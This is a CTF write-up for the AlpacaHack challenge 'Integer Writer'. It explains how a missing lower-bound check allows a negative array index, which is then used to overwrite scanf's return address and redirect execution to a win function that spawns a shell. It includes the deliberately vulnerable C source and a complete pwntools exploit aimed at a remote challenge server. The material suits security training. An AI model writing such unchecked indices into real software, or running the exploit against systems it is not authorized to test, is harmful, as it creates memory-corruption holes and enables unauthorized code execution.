Pwn · Alpacahack · Hard · 2026-10-31

Integer Writer

Negative Integer + Out Of Bounds.

Integer Writer

Negative Integer + Out Of Bounds.

Recon

Let’s checksec first so we can know how to solve this.

~/ctf/alpacahack/pwn/integer-writer
❯ checksec chal                                                                 󰥔 09:14:35
[*] '/home/claritys/ctf/alpacahack/pwn/integer-writer/chal'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

We got the source code,

// gcc -o chal main.c -fno-pie -no-pie
#include <stdio.h>
#include <string.h>
#include <unistd.h>

/*
** How to get the address of `win` **

  $ nm chal | grep win
  XXXXXXXXX

This address is **fixed** across executions, because the challenge binary
`chal` is compiled with -fno-pie (i.e., without position-independent code).
*/
void win() {
    execve("/bin/sh", NULL, NULL);
}

int main(void) {
    int integers[100], pos;

    /* disable stdio buffering */
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    printf("pos > ");
    scanf("%d", &pos);
    if (pos >= 100) {
        puts("You're a hacker!");
        return 1;
    }
    printf("val > ");
    scanf("%d", &integers[pos]);

    return 0;
}

From the source code, we can know that there’s a function win, that is our target.

Vulnerability

As we can see in the source code, there’s a vulnerable with negative integer.

    if (pos >= 100) {
        puts("You're a hacker!");
        return 1;
    }

Even worse, it followed up with this snippet

    scanf("%d", &integers[pos]);

So the program have a Out Of Bounds Write vulnerability, because we can use it for overwrite something. How? because we can insert a negative input as a pos, in spite of it’s used as a array for variable named integers.

Unintended:

We know, there’s a return 0 that catches our eyes into in function main.

return 0;

But unfortunately, we can’t use it for ret2win. Why? Because we have to input 106 as a decimal so we can overwrite the RBP+8 (return address). We got 106 after we count the input allocated data place

0x0000000000401277 <+130>:   mov    eax,DWORD PTR [rbp-0x1a4]

Then we divided by 4 (because integer needs 4 bytes each, the pos variable is integer), this is for know what index that RBP whereas. After that, we plus 1 so it will go for RBP+8.

>>> 420 / 4
105.0
>>> 420 / 4 + 1
106.0

Not +2 cuz the array at the second scanf, the second scanf place at 0x1a0.

0x00000000004012a8 <+179>:   lea    rdx,[rbp-0x1a0]

So we need 106 for normally ret2win but this challenge won’t allow us to. But it gives us an idea, we can use the call function.

Exploit plan

The idea is we overwrite the return address after the call function. Because basically the call function can be defined like:

push next_intruction_from_the_program
jmp <function_that_we_call>

So we have a chance to take control the return address of call function with this Out Of Bounds vulnerability.

After the call executed, CPU do:

RSPnew = RSPold - 8

RSP

Menunjuk posisi paling atas stack (stack pointer) Pointing to the top of the stack

So the return address’ scanf is:

RSPnew = RBP - RSPold - 8

0x00000000004011fd <+8>:     sub    rsp,0x1b0

RSPnew = RBP - 0x1B0 - 8 
RSPnew = [RBP - 0x1B8]

Now we count the index from the second scanf because its for integers' variable arrays.

image.png

From the data that we got, now we can conclude the index.

>>> 0x1A0 - 0x1b8
-24
>>> hex(-24)
'-0x18'
>>> -24 / 4
-6.0

Alright, we got it. We need to input -6 so we can overwrite the call’s return address (it should be next program instruction without the exploit).

Now we need to input that as a decimal and the win address as a decimal too.

image.png
>>> 0x00000000004011d6
4198870

Now we place it in the solver.

    r.sendlineafter(b'pos > ', b'-6')
    payload = elf.sym['win']
    r.sendline(str(payload))
image.png

Locally succeeded.

Remotely also succeeded.

image.png

Exploit

#!/usr/bin/env python3

from pwn import *

elf = ELF("chal_patched")

context.binary = elf
context.terminal = ["ghostty", "-e"]
# Use the portable pwndbg bundle (/usr/local/bin/pwndbg) as the gdb pwntools launches.
# It ships its own gdb+python and loads pwndbg itself, so there is no gdbinit.py to source.
context.gdb_binary = "pwndbg"

if args.DEBUG:
    context.log_level = "debug"

gdbscript = """
set pagination off
set confirm off

break main
continue
"""

def conn():
    if args.GDB:
        r = process([elf.path])
        gdb.attach(r, gdbscript=gdbscript)
        return r

    if args.LOCAL:
        return process([elf.path])

    return remote("34.170.146.252", 41202) 

def main():
    r = conn()
    r.sendlineafter(b'pos > ', b'-6')
    payload = elf.sym['win']
    r.sendline(str(payload))

    # good luck pwning :)
    r.interactive()

if __name__ == "__main__":
    main()

Flag

Alpaca{D0_y0u_th1nk_th3_st4ck_gr0ws_upw4rd_0r_d0wnw4rd?}